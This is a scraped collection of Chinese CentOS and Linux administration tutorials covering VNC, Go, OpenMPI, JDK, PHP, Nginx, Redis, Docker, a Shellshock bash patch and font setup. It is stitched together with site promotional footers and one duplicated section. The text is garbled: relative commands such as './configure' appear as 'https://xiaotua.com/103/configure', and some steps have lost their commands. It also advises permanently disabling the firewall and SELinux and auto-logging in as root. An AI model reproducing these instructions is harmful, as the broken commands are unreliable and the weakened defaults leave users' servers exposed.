inet6 fe80::bdd8:8bd:8871:f736 prefixlen 64 scopeid 0x20<link> inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> 关闭防火墙和selinux 1. 关闭防火墙 将firewalld服务设置为disable [root@localhost ~]# systemctl disable firewalld.serviceRemoved symlink /etc/systemd/system/multi-user.target.wants/firewalld.service.Removed symlink /etc/systemd/system/dbus-org.fedoraproject.FirewallD1.service. 查看状态,成功关闭 [root@localhost ~]# systemctl status firewalld.service● firewalld.service - firewalld - dynamic firewall daemon Loaded: loaded (/usr/lib/systemd/system/firewalld.service; disabled; vendor preset: enabled) Active: inactive (dead) Docs: man:firewalld(1)Apr 22 10:06:35 localhost.VD systemd[1]: Starting firewalld - dynamic firewall daemon...Apr 22 10:06:37 localhost.VD systemd[1]: Started firewalld - dynamic firewall daemon.Apr 22 15:31:38 localhost.VD systemd[1]: Stopping firewalld - dynamic firewall daemon...Apr 22 15:31:39 localhost.VD systemd[1]: Stopped firewalld - dynamic firewall daemon. 2. 关闭selinux临时修改 [root@localhost ~]# setenforce 0永久修改,下次开机生效 [root@localhost ~]# vim /etc/selinux/config # This file controls the state of SELinux on the system.# SELINUX= can take one of these three values:# enforcing - SELinux security policy is enforced.# permissive - SELinux prints warnings instead of enforcing.# disabled - No SELinux policy is loaded.SELINUX=disabled//开启时显示为enforcing,将其改为disabled查看状态,成功关闭 [root@localhost ~]# getenforcePermissive 远程访问 打开vnc-viewer,输入需要访问的ip和端口号即可进行访问,本文中使用的ip为:10.10.41.43::5901 以上就是CentOS7.6服务器如何部署VNC的知识。速戳>>知识兔学习精品课! centos安装go语言的方法:首先下载go语言安装包;然后解压安装包;最后执行【echo 'export PATH=$PATH:/usr/local/go/bin'>>/etc/profile】命令配置系统变量即可。 本文操作环境:centos 7系统、Go 1.11.2、thinkpad t480电脑。 具体方法: 下载安装包 https://studygolang.com/dl 安装步骤: wget https://studygolang.com/dl/golang/go1.13.4.linux-amd64.tar.gz #下载gunzip go1.13.4.linux-amd64.tar.gz #解压tar -xvf go1.13.4.linux-amd64.tar #解压mv go /usr/local/ echo 'export PATH=$PATH:/usr/local/go/bin'>>/etc/profile #配置系统变量go --version #查看版本。正常显示则表明安装正常 相关推荐:golang教程 以上就是centos如何安装go语言的知识。速戳>>知识兔学习精品课! 下面由centos教程栏目给大家详解centos安装openmpi,希望对需要的朋友有所帮助! 1 下载openmpi源码 通过官方网站提供的下载地址:https://download.open-mpi.org/release/open-mpi/v3.1/openmpi-3.1.0.tar.gz,下载3.1版的openmpi,在命令行执行如下命令,会将openmpi-3.1.0.tar.gz文件下载到当前目录: $ wget https://download.open-mpi.org/release/open-mpi/v3.1/openmpi-3.1.0.tar.gz 2 解压openmpi源码 进入openmpi-3.1.0.tar.gz文件所在目录,执行以下命令解压源码: $ tar -zxvf openmpi-3.1.0.tar.gz 3 安装openmpi 解压完毕后,按照linux软件的标准安装步骤:,安装openmpi,步骤如下: $ cd openmpi-3.1.0/$ https://xiaotua.com/103/configure$ make && make install 4 验证安装 安装完毕后,进入openmpi-3.1.0目录下的examples目录,执行make命令编译示例程序,通过运行示例程序验证是否成功安装openmpi,如下所示: $ cd examples/$ make$ https://xiaotua.com/103/hello_cHello, world, I am 0 of 1, (Open MPI v3.1.0, package: Open MPI root@ssli_centos7 Distribution, ident: 3.1.0, repo rev: v3.1.0, May 07, 2018, 112) 示例程序正确运行,说明安装成功。 1 下载openmpi源码 通过官方网站提供的下载地址:https://download.open-mpi.org/release/open-mpi/v3.1/openmpi-3.1.0.tar.gz,下载3.1版的openmpi,在命令行执行如下命令,会将openmpi-3.1.0.tar.gz文件下载到当前目录: $ wget https://download.open-mpi.org/release/open-mpi/v3.1/openmpi-3.1.0.tar.gz 2 解压openmpi源码 进入openmpi-3.1.0.tar.gz文件所在目录,执行以下命令解压源码: $ tar -zxvf openmpi-3.1.0.tar.gz 3 安装openmpi 解压完毕后,按照linux软件的标准安装步骤:,安装openmpi,步骤如下: $ cd openmpi-3.1.0/$ https://xiaotua.com/103/configure$ make && make install 4 验证安装 安装完毕后,进入openmpi-3.1.0目录下的examples目录,执行make命令编译示例程序,通过运行示例程序验证是否成功安装openmpi,如下所示: $ cd examples/$ make$ https://xiaotua.com/103/hello_cHello, world, I am 0 of 1, (Open MPI v3.1.0, package: Open MPI root@ssli_centos7 Distribution, ident: 3.1.0, repo rev: v3.1.0, May 07, 2018, 112) 示例程序正确运行,说明安装成功。 以上就是详解centos安装openmpi的知识。速戳>>知识兔学习精品课! 下面由centos教程栏目给大家详解CentOS安装JDK以及XFTP工具使用介绍,希望对需要的朋友有所帮助! 一、下载相应版本的JDK 直接给网址:https://www.oracle.com/technetwork/java/javase/archive-.html 可以选择相应的版本下载,以jdk-8u231-linux-x64.tar.gz为例,一般来说Linux都是远程服务器,通过SSH连接。但是JDK下载却在本地的windows操作系统上,这时候要给大家介绍一个好用的工具——XFTP 二、XFTP下载 XShell是连接服务器的工具【可能有人习惯于Putty】,XFTP是NetSarang的另外一款软件,用于在两机之间图像化的传送文件。 图左半部分表示本机文件,而右半部分表示SSH连接的主机。直接双击一个计算机相应的文件,即可将文件传输到另外一个计算机相应的目录中,而且还可以远程可视化的进行新建、删除乃至解压等操作,事实上代替mkdir、rm以及tar等命令,一定程度上简化了在XShell上的命令行操作。至于下载,NetSarang公司的XShell和Xftp对于家庭和学校用户是免费的,只需输入相应的邮箱,他们会给你发邮件,里面有软件的下载地址。找不到的朋友看这里:https://www.netsarang.com/zh/free-for-home-school/ 三、将本地下载的JDK通过Xftp传送 简单,打开XFTP,左边到下载JDK压缩包的目录,右边到想要放置JDK的目录,以我为例分别是D:setups和/usr/local/java,双击左边的压缩包即可开始传输。 【截的图搞丢了】 四、解压配置环境变量 首先进入压缩包的目录 cd /usr/local/java 解压 tar -zxvf jdk-8u231-linux-x64.tar.gz 可以选择删除压缩包 rm -f jdk-8u231-linux-x64.tar.gz 打开全局变量文件配置环境变量 vim /etc/profile 将下面这一段复制进去 #java environmentexport JAVA_HOME=/usr/local/java/jdk1.8.0_201export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jarexport PATH=$PATH:$JAVA_HOME/bin 记得把JAVA_HOME相应的修改。 五、检查 输入 source /etc/profile 使环境变量配置生效。 java -version 如果能够查看说明JDK已经安装成功了。 六、没有vim怎么办? 这个问题不值得新开一个文章,如果使用vim命令时出现vim command not found,说明Linux环境没有安装vim编辑器,vim需要三个包,分别是: vim-enhanced,vim-common,vim-minimal 输入命令rpm -qa|grep vim 查看安装几个包,加入缺少vim-enhanced,那就安装这个包 yum -y install vim-enhanced 如果一个包都没有。直接全部安装 yum -y install vim* 最终再次查看 此时即可使用vim编辑器。 以上就是详解CentOS安装JDK以及XFTP工具使用介绍的知识。速戳>>知识兔学习精品课! 下面由centos教程栏目给大家介绍CentOS7.0 使用root登录桌面的方法,希望对需要的朋友有所帮助! 在较新版本的Linux发行版中预设不允许以账号登入图形用户桌面,因此一般使用者登入后,可以在终端机以su root,暂时取得root权限。虽然,我们在安装的时候设置了root用户,但是我们默认通过桌面登录后是roo用户,一些命令需要使用sudo来完成。 那么,如何用真正的root登录到桌面呢? vi /etc/gdm/custom.conf在[daemon]下面添加:[daemon]AutomaticLoginEnable=TrueAutomaticLogin=root #你想自动登录的用户名 保存,然后重启。 登录到桌面时,不要直接点击用户名,而是选择“not list",然后输入root,输入密码即可进入。 以上就是CentOS7.0使用root登录桌面的知识。速戳>>知识兔学习精品课! 发生时间错误内容解决方案(个人)解决方案(网络)权重Apache 安装时error:Cannot use an external APR with the bundled APR-util对apr-util重新进行编译安装Google低Apache 安装时error:Did not find pcre-config script at [dir]将pcre2替换为pcre,然后进行编译安装Google低pcre安装时error: You need a C++ Compiler for C++ SupportGoogleyum install -y gcc gcc-c++低Apache 安装时error:pcre-config for libpcre not found在https://xiaotua.com/103/configure 配置时使用--with-pcre=[dir]指定pcre安装目录重新安装或者第一次安装pcre低Apache 安装时error:no acceptable C complier found in $PATHGoogleyum -y install gcc高apr-util 安装时(一部分错误提示)error:'apr_xml_parser' has no memebr named 'xp'Googleyum install expat-devel低Apache 安装时(一部分错误提示)error:openssl version is too oldGoogleyum install openssl-develyum update openssl高 下面由centos教程栏目给大家介绍CentOS常用命令之查看与编辑文件命令,希望对需要的朋友有所帮助! CentOS常用命令之查看与编辑文件命令 cat: 1、cat file 查看文件 2、cat file -A 查看文件全部 3、cat file -b 对非空行输出行号查看 4、cat file -n 对所有行输出行号查看 5、cat file -s 不输出多行空行 vi: 1、vi file 进入文件 2、按下【i】进入插入模式,即可进行编辑 3、按下【o】在光标所在处插入一个回车再编辑 4、按下【x】删除光标右边的一个字符 5、按下【r】替换光标所在处字符 6、【#dd 】删除所在行至#行的内容(#代表数字) 7、【#yy】复制所在行至#的字符 5、按下ESC退出当前模式 6、按下【:】进入lastlinemode模式 输入【q】:不保存并推出 输入【wq】:保存并推出 输入【q!】:强制退出(不保存) 输入【wfilename】:保存成名为filename的文件 输入【/】:查找文件内的字符 以上就是CentOS常用命令之查看与编辑文件命令的知识。速戳>>知识兔学习精品课! 下面由centos教程栏目给大家介绍Linux CentOS 启动 网卡 ,希望对需要的朋友有所帮助! 启动网卡,查看ip地址 1.编辑网卡配置,命令如下 2.按 "I”: 即切换到“插入”状态 3.按键盘的下键,把光标移动到,的后面 4.把,改为,改后效果: 5.按 "ESC",退出编辑状态 6.输入后回车 7.重启网络服务,命令如下 8.查看ip地址,命令如下怎么看ip地址:网卡的属性 以上就是Linux CentOS启动网卡步骤的知识。速戳>>知识兔学习精品课! centos删除php的方法:首先通过“#rpm -qa|grep php”命令查看全部php软件包;然后卸载相应的依赖项即可。 本文操作环境:linux5.9.8系统、PHP7.1、Dell G3电脑。 Linux CentOS完全卸载PHP 很无语,CentOS居然php版本才5.1.6,很多开源的CMS无法安装。 查看php版本命令: #php -v 下面的命令是删除不干净的 #yum remove php 因为使用这个命令以后再用 #php -v 还是会看到有版本信息的。。。。。 必须强制删除,使用下面命令查看全部php软件包 #rpm -qa|grep php 【推荐:PHP视频教程】 提示如下: #php-pdo-5.1.6-27.el5_5.3#php-mysql-5.1.6-27.el5_5.3#php-xml-5.1.6-27.el5_5.3#php-cli-5.1.6-27.el5_5.3#php-common-5.1.6-27.el5_5.3#php-gd-5.1.6-27.el5_5.3 注意卸载要先卸载没有依赖的 pdo是mysql的依赖项;common是gd的依赖项; 例如:# rpm -e php-pdo-5.1.6-27.el5_5.3error: Failed dependencies: php-pdo is needed by (installed) php-mysql-5.1.6-27.el5_5.3.i386 所以正确的卸载顺序是: # rpm -e php-mysql-5.1.6-27.el5_5.3 # rpm -e php-pdo-5.1.6-27.el5_5.3 # rpm -e php-xml-5.1.6-27.el5_5.3 # rpm -e php-cli-5.1.6-27.el5_5.3 # rpm -e php-gd-5.1.6-27.el5_5.3 # rpm -e php-common-5.1.6-27.el5_5.3 再用 # php -v 查看版本信息已经没有提示 以上就是centos 怎么删除 php的知识。速戳>>知识兔学习精品课! 因为很多公司都有自己的 yum 源,所以直接配置其他的 yum 源升级的话是不允许的,为了能方便的升级,并且安全的测试,先拿一台测试机做测试。 CentOS 的修复方案 安装 yum 插件 yum-downloadonly 知识兔 注: 插件的作用是实现只下载所需包而不直接安装 sudo yum -y install yum-downloadonly 添加 CentOS 的官方源 CentOS-Base.repo 知识兔 CentOS 5 的官方源 # CentOS-Base.repo## The mirror system uses the connecting IP address of the client and the# update status of each mirror to pick mirrors that are updated to and# geographically close to the client. You should use this for CentOS updates# unless you are manually picking other mirrors.## If the mirrorlist= does not work for you, as a fall back you can try the # remarked out baseurl= line instead.##[base]name=CentOS-$releasever - Basemirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=os#baseurl=http://mirror.centos.org/centos/$releasever/os/$basearch/gpgcheck=1gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-5#released updates [updates]name=CentOS-$releasever - Updatesmirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=updates#baseurl=http://mirror.centos.org/centos/$releasever/updates/$basearch/gpgcheck=1gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-5#additional packages that may be useful[extras]name=CentOS-$releasever - Extrasmirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=extras#baseurl=http://mirror.centos.org/centos/$releasever/extras/$basearch/gpgcheck=1gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-5#additional packages that extend functionality of existing packages[centosplus]name=CentOS-$releasever - Plusmirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=centosplus#baseurl=http://mirror.centos.org/centos/$releasever/centosplus/$basearch/gpgcheck=1enabled=1gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-5#contrib - packages by Centos Users[contrib]name=CentOS-$releasever - Contribmirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=contrib#baseurl=http://mirror.centos.org/centos/$releasever/contrib/$basearch/gpgcheck=1enabled=1gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-5 CentOS 6 的官方源 # CentOS-Base.repo## The mirror system uses the connecting IP address of the client and the# update status of each mirror to pick mirrors that are updated to and# geographically close to the client. You should use this for CentOS updates# unless you are manually picking other mirrors.## If the mirrorlist= does not work for you, as a fall back you can try the # remarked out baseurl= line instead.##[base]name=CentOS-$releasever - Basemirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=os#baseurl=http://mirror.centos.org/centos/$releasever/os/$basearch/gpgcheck=1gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6#released updates [updates]name=CentOS-$releasever - Updatesmirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=updates#baseurl=http://mirror.centos.org/centos/$releasever/updates/$basearch/gpgcheck=1gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6#additional packages that may be useful[extras]name=CentOS-$releasever - Extrasmirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=extras#baseurl=http://mirror.centos.org/centos/$releasever/extras/$basearch/gpgcheck=1gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6#additional packages that extend functionality of existing packages[centosplus]name=CentOS-$releasever - Plusmirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=centosplus#baseurl=http://mirror.centos.org/centos/$releasever/centosplus/$basearch/gpgcheck=1enabled=1gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6#contrib - packages by Centos Users[contrib]name=CentOS-$releasever - Contribmirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=contrib#baseurl=http://mirror.centos.org/centos/$releasever/contrib/$basearch/gpgcheck=1enabled=1gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 下载最新的 bash 包 知识兔 把最新版本的 bash 的 rpm 包下载到 目录 sudo yum -y install --downloadonly --downloaddir=/tmp/ bash 下载后的包名分别如下: CentOS 5 bash-3.2-33.el5_10.4.x86_64.rpm CentOS 6 bash-4.1.2-15.el6_5.2.x86_64.rpm 安装最新的 bash 包 知识兔 CentOS 5 sudo yum -y install bash-3.2-33.el5_10.4.x86_64.rpm CentOS 6 sudo yum -y install bash-4.1.2-15.el6_5.2.x86_64.rpm 验证 知识兔 输出如下: dateMon Sep 29 10:11:56 CST 2014 输出如下: Bash Hello 证明修复成功 加入现有的 rpm 源 知识兔 最后一步就是把测试完成的包加入公司自己的源中,然后全网推送了。 下面由centos教程栏目给大家介绍centos 7开启vnc服务,希望对需要的朋友有所帮助! CentOS7配置VNC 一.安装 以root用户运行以下命令来安装vncserver; yum install tigervnc-server 同样运行以下命令来安装vncviewer; yum install vnc 停止并禁用防火墙; systemctl stop firewalld.servicesystemctl disable firewalld.service 二.配置 vncviewer基本上不用配置; vncserver的配置,创建一个新的配置文件,以开启1号窗口为例(也可以同时开启多个窗口,修改数字即可),方法如下: cp /lib/systemd/system/vncserver@.service /lib/systemd/system/vncserver@:1.service 或者再增加一个窗口: cp /lib/systemd/system/vncserver@.service /lib/systemd/system/vncserver@:2.service 编辑/lib/systemd/system/vncserver@:1.service,设置用户root相关参数 [Service]Type=forking# Clean any existing files in /tmp/.X11-unix environmentExecStartPre=/bin/sh -c '/usr/bin/vncserver -kill %i > /dev/null 2>&1 || :'ExecStart=/sbin/runuser -l root -c "/usr/bin/vncserver %i -geometry 800x600"PIDFile=/root/.vnc/%H%i.pidExecStop=/bin/sh -c '/usr/bin/vncserver -kill %i > /dev/null 2>&1 || :' 三.应用 更新systemctl以使其生效; systemctl daemon-reload 设置vncserver的密码; vncpasswd root 按提示输入密码以及确认密码 启动该服务用来启用vnc的1号窗口; systemctl start vncserver@:1.service 或者 vncserver :1 关闭1号窗口: systemctl stop vncserver@:1.service 或者 vncserver -kill :1 设置为开机自动启动; systemctl enable vncserver@:1.service End. 以上就是centos7怎么开启vnc服务的知识。速戳>>知识兔学习精品课! centos 7/6都可以 下载链接(当前最新版本是7.4.5) php官网 wget https://www.php.net/distributions/php-7.4.5.tar.gz 我习惯于把所有的下载和解压文件都放在固定的文件夹下,所以我们在 下新建一个文件夹 下边是执行顺序 [root@localhost lib]# cd /usr/local[root@localhost lib]# mkdir download[root@localhost lib]# cd download[root@localhost lib]# wget https://www.php.net/distributions/php-7.4.5.tar.gz 推荐(免费):PHP7 解压文件 [root@localhost lib]# tar -zxvf php-7.4.5.tar.gz[root@localhost lib]# cd php-7.4.5 停止apache服务 [root@localhost php-7.3.17]# /usr/local/Webserves/apache2.4/bin/apachectl stop 配置 下面的例子会正确匹配 apxs 的路径。如果通过其他方式安装了 Apache,需要相应的调整 apxs 的路径。注意,在有些发行版本中,可能将 apxs 更名为 apxs2。 https://xiaotua.com/103/configure --prefix=/usr/local/Webserves/php7.3 --with-apxs2=/usr/local/Webserves/apache2.4/bin/apxs 编译 make && make install 移动配置文件 #development 开发环境配置文件 production生产环境配置文件,cp php.ini-development php.ini-production /usr/local/Webserves/php7.3/ 修改配置文件为 php.ini #找到文件所在[root@localhost php-7.3.17]# cd /usr/local/Webserves/php7.3/[root@localhost php7.3]# ls -a. .. bin etc include lib php php.ini-development php.ini-production var#在次备份一下[root@localhost php7.3]# cp -b php.ini-development php.ini-development备份 [root@localhost php7.3]# ls -a. bin include php php.ini-development备份 var.. etc lib php.ini-development php.ini-production#修改配置文件[root@localhost php7.3]# mv php.ini-development php.ini[root@localhost php7.3]# ls -a. .. bin etc include lib php php.ini php.ini-development备份 php.ini-production var 编辑 httpd.conf 文件以调用 PHP 模块。LoadModule 达式右边的路径必须指向系统中的 PHP 模块。以上的 make install 命令可能已经完成了这些,但务必要检查。 LoadModule php5_module modules/libphp5.so 告知 Apache 将特定的扩展名解析成 PHP <FilesMatch .php$> SetHandler application/x-httpd-php</FilesMatch> 启动apache #如果配置成功 则可以正常启动apache [root@localhost Webserves]# /usr/local/Webserves/apache2.4/bin/apachectl start[root@localhost Webserves]# 测试 php 查看apache的网站存放根路径 打开 在apache 配置文件寻找 现在去写一个php文件 [root@localhost Webserves]# cd /usr/local/Webserves/apache2.4/htdocs[root@localhost htdocs]# vim index.php[root@localhost htdocs]# 可以看到安装成功 注意* 咱们在编译的时候没有安装任何php的扩展。比如mysql,所以说有如想使用还需安装需要的扩展文件 以上就是详解centos6 centos7 安装php7的知识。速戳>>知识兔学习精品课! 下面由centos教程栏目给大家介绍CentOS7.4简便安装过程,希望对需要的朋友有所帮助! 备注:选择第一个 备注:摁enter 备注:等待 备注:简体中文 备注:选择 基本网页服务器 备注:配置网络地址 备注:配置完成后,点击右上角打开 备注:更改主机名 备注:选择我要配置分区 备注:三个分区 备注:分配完毕 备注:接受更改 备注:设置root密码 备注:等待安装 备注:重启 备注:输入用户名和密码,可以正常使用 以上就是简单的CentOS7.4安装过程的知识。速戳>>知识兔学习精品课! 前言 知识兔 Nginx (engine x) 是一个高性能的 HTTP 和反向代理服务器,也是一个 IMAP/POP3/SMTP 服务器。。 本例演示 CentOS 7 下安装和配置 Nginx 的基本步骤。 环境说明 CentOS 7(Minimal Install) $ cat /etc/redhat-release CentOS Linux release 7.5.1804 (Core) 步骤 知识兔 步骤 1: 添加 yum 源 Nginx 不在默认的 yum 源中,可以使用 epel 或者官网的 yum 源,本例使用官网的 yum 源。 $ sudo rpm -ivh http://nginx.org/packages/centos/7/noarch/RPMS/nginx-release-centos-7-0.el7.ngx.noarch.rpm 安装完 yum 源之后,可以查看一下。 $ sudo yum repolistLoaded plugins: fastestmirror, langpacksLoading mirror speeds from cached hostfile * base: mirrors.aliyun.com * extras: mirrors.aliyun.com * updates: mirrors.aliyun.comrepo id repo name statusbase/7/x86_64 CentOS-7 - Base 9,911extras/7/x86_64 CentOS-7 - Extras 368nginx/x86_64 nginx repo 108updates/7/x86_64 CentOS-7 - Updates 1,041repolist: 11,428 可以发现 已经安装到本机了。 步骤 2: 安装 yum 安装 Nginx,非常简单,一条命令。 $ sudo yum install nginx 步骤 3: 启动配置 Nginx 服务 设置开机启动 $ sudo systemctl enable nginx 启动服务 $ sudo systemctl start nginx 停止服务 $ sudo systemctl restart nginx 重新加载,因为一般重新配置之后,不希望重启服务,这时可以使用重新加载。 $ sudo systemctl reload nginx 配置 ### nginx默认配置位置/etc/nginx/conf.d/default.conf## 默认wwwroot位置/usr/share/nginx/html 步骤 4: 打开防火墙端口 默认 CentOS7 使用的防火墙 firewalld 是关闭 http 服务的(打开 80 端口)。 $ sudo firewall-cmd --zone=public --permanent --add-service=httpsuccess$ sudo firewall-cmd --reloadsuccess 打开之后,可以查看一下防火墙打开的所有的服务 $ sudo sudo firewall-cmd --list-servicessh dhcpv6-client http 可以看到,系统已经打开了 http 服务。 步骤 5: 反向代理 Nginx 是一个很方便的反向代理,配置反向代理可以参考 Module ngx_http_proxy_module 。本文不做累述。需要指出的是 CentOS 7 的 SELinux,使用反向代理需要打开网络访问权限。 $ sudo setsebool httpd_can_network_connect 1 打开网络权限之后,反向代理可以使用了。 结论 知识兔 本文演示了 CentOS 7 下 yum 安装 Nginx,配置服务等。 拉取镜像 知识兔 docker pull centos 创建自定义网络 知识兔 docker network create --subnet=172.18.0.0/16 mynetwork 启动固定ip的centos容器 知识兔 docker run -itd --privileged --name centos1 --net mynetwork --ip 172.18.0.11 centos:latest /usr/sbin/initdocker run -itd --privileged --name centos2 --net mynetwork --ip 172.18.0.12 centos:latest /usr/sbin/initdocker run -itd --privileged --name centos3 --net mynetwork --ip 172.18.0.13 centos:latest /usr/sbin/init 查看 docker 容器相关详情(包括ip) 知识兔 docker psdocker inspect 容器ID或容器名称 本篇文章带大家了解一下Centos 7是如何安装Redis的。有一定的参考价值,有需要的朋友可以参考一下,希望对大家有所帮助。 话不多说,直接开始。 一、安装gcc依赖 知识兔 redis 是用 C 语言开发,安装之前必先确认是否安装 gcc 环境(),如果没有安装,执行以下命令进行安装。 $ yum install -y gcc 二、下载并解压安装包 知识兔 $ wget http://download.redis.io/releases/redis-5.0.7.tar.gz$ tar -zxvf redis-5.0.7.tar.gz 三、cd切换到redis解压目录下,执行编译 知识兔 $ cd redis-5.0.7 && make 四、安装并指定安装目录 知识兔 $ make install PREFIX=/usr/local/redis 【相关推荐:Redis视频教程 】 五、启动服务 知识兔 5.1 前台启动 $ cd /usr/local/redis/bin/$ https://xiaotua.com/103/redis-server 5.2后台启动 从 redis 的源码目录中复制 redis.conf 到 redis 的安装目录 $ cp /usr/local/redis-5.0.7/redis.conf /usr/local/redis/bin/ 修改 redis.conf 文件,把 daemonize no 改为 daemonize yes $ vim redis.conf################################# GENERAL ###################################### By default Redis does not run as a daemon. Use 'yes' if you need it.# Note that Redis will write a pid file in /var/run/redis.pid when daemonized.daemonize yes 后台启动 $ https://xiaotua.com/103/redis-server redis.conf 六、设置开机启动 知识兔 添加开机启动服务 $ vim /etc/systemd/system/redis.service 添加下面内容 [Unit]Description=redis-serverAfter=network.target[Service]Type=forkingExecStart=/usr/local/redis/bin/redis-server /usr/local/redis/bin/redis.confPrivateTmp=true[Install]WantedBy=multi-user.target 注意: 配置成自己的路径 设置开机启动 $ systemctl daemon-reload$ systemctl start redis.service$ systemctl enable redis.service 创建 redis 命令软链接 $ ln -s /usr/local/redis/bin/redis-cli /usr/bin/redis# 测试$ redis127.0.0.1:6379> pingPONG127.0.0.1:6379> 最后,贴一下常用命令~ # 启动redis服务systemctl start redis.service# 停止redis服务systemctl stop redis.service# 重新启动服务systemctl restart redis.service# 查看服务当前状态systemctl status redis.service# 设置开机自启动systemctl enable redis.service# 停止开机自启动systemctl disable redis.service OK~完事~ 更多编程相关知识,请访问:编程视频!! 以上就是浅谈Centos 7安装Redis的方法的知识。速戳>>知识兔学习精品课! 方法1 知识兔 命令: 示例: [root@www ~]# lsb_release -aLSB Version: :base-4.0-amd64:base-4.0-noarch:core-4.0-amd64:core-4.0-noarchDistributor ID: CentOSDescription: CentOS release 6.7 (Final)Release: 6.7Codename: Final 方法2 知识兔 命令: //最全的(适用于所有的linux,包括Redhat、SuSE、Debian、Centos等) 示例: [root@www ~]# unameLinux[root@www ~]# uname -r2.6.32-431.23.3.el6.x86_64[root@www ~]# uname -aLinux www 2.6.32-431.23.3.el6.x86_64 #1 SMP Thu Jul 31 17:20:51 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux 方法3 知识兔 命令:(适用于RedHat,CentOS) 示例: [root@www ~]# cat /etc/redhat-releaseCentOS release 6.7 (Final) 方法4 知识兔 命令:(适用于RedHat,CentOS) 示例:(我没装redhat,装的是CentOs) [root@www ~]# cat /etc/redhat-releasepackage redhat-release is not installed[root@www ~]# rpm -q centos-releasecentos-release-6-7.el6.centos.12.3.x86_64 方法5 知识兔 命令:(当前centos 版本与redhat对应的版本的命令) 示例: [root@www ~]# cat /proc/versionLinux version 2.6.32-431.23.3.el6.x86_64 (该邮件地址已受到反垃圾邮件插件保护。要显示它需要在浏览器中启用 JavaScript。) (gcc version 4.4.7 (Red Hat 4.4.7-4) (GCC) ) #1 SMP Thu Jul 31 17:20:51 UTC 2014 方法:首先执行“find / -name php.ini”命令找到“php.ini”文件;然后打开文件,找到并修改“date.timezone”项的值;最后执行“service httpd restart”命令重启服务即可。 本教程操作环境:windows7系统、PHP7.1版,DELL G3电脑 找到php.ini配置文件 find / -name php.ini 找到date.timezone选项改为: date.timezone =PRC 重启服务 service httpd restart 单页面的话设置 date_default_timezone_set('PRC') 推荐:《2021年PHP面试题大汇总(收藏)》《php视频教程》 以上就是centos怎么修改php时间设置的知识。速戳>>知识兔学习精品课! ubuntu无法进入图形界面的解决办法: 在登录界面按ctrl+Alt+F1(F2-F6都可以),然后输入用户名密码进行登录。 登录成功后sudo -i,然后输入密码获得root权限,在命令行中输入startx,如果你成功的进入了图形用户界面算你好运, 一般情况下是不会成功的,会有很多行的错误提示,其中有一行提示你/home/用户名/.Xauthority有错误, 为了保险起见先将这个文件在别的地方复制一份以免不能恢复然后进行删除操作, 先执行cp /home/用户名/.Xauthority /home/ ,再执行rm /home/用户名/.Xauthority, 成功删除后,再次执行startx,这次会有一行提示If ******,remove /tmp/.X0-lock and start again. 然后按照提示,我们输入rm /tmp/.X0-lock,将文件删除。 完成之后我们输入sudo service lightdm restart.执行结束之后回到登录界面进行登录便能够成功登录图形用户界面。 推荐教程: 《linux教程》 以上就是解决ubuntu无法进入图形界面的问题的知识。速戳>>知识兔学习精品课! 1、首先进入root用户下; 2、然后查看一下当前系统的启动模式,命令如下: systemctl get-default 3、最后更改启动模式,更改命令如下: systemctl set-default graphical.target //由命令行模式更改为图形界面模式systemctl set-default multi-user.target //由图形界面模式更改为命令行模式 推荐教程:linux教程 以上就是linux设置开机进入图形界面的知识。速戳>>知识兔学习精品课! 如何解决centos7图形界面乱码? 报表中发现有中文乱码和中文字体不整齐(重叠)的情况,首先考虑的就是操作系统是否有中文字体,在CentOS 7中发现输入命令查看字体列表是提示命令无效: 如上图可以看出,不仅没有中文字体,连字体库都没有,那么接下来就记录一下在Linux CentOS 7中如何安装字体库以及中文字体。 安装字体库 在CentOS 4.x开始用fontconfig来安装字体库,所以输入以下命令即可: yum -y install fontconfig 当看到下图的提示信息时说明已安装成功: 这时在目录就可以看到fonts和fontconfig目录了(之前是没有的): 接下来就可以给我们的字体库中添加中文字体了。 添加中文字体 在CentOS中,字体库的存放位置正是上图中看到的fonts目录,所以我们首先要做的就是找到中文字体文件放到该目录下,而中文字体文件在我们的windows系统中就可以找到,打开c盘下的Windows/Fonts目录: 如上图,我们只需要将我们需要的字体拷贝出来并上传至linux服务器即可,在这里我选择宋体和黑体(报表中用到了这两种字体),可以看到是两个后缀名为ttf和ttc的文件: 在这之前我们还需要新建目录,首先在/usr/shared/fonts目录下新建一个目录chinese: 然后就是将上面的两个字体上传至目录下即可: 紧接着需要修改chinese目录的权限: chmod -R 755 /usr/share/fonts/chinese 接下来需要安装ttmkfdir来搜索目录中所有的字体信息,并汇总生成fonts.scale文件,输入命令: yum -y install ttmkfdir 当看到下图的提示信息时说明已安装成功: 然后执行ttmkfdir命令即可: ttmkfdir -e /usr/share/X11/fonts/encodings/encodings.dir 最后一步就是修改字体配置文件了,首先通过编辑器打开配置文件: vi /etc/fonts/fonts.conf 可以看到一个Font list,即字体列表,在这里需要把我们添加的中文字体位置加进去: 然后输入:wq保存退出,最后别忘了刷新内存中的字体缓存,这样就不用reboot重启了: fc-cache 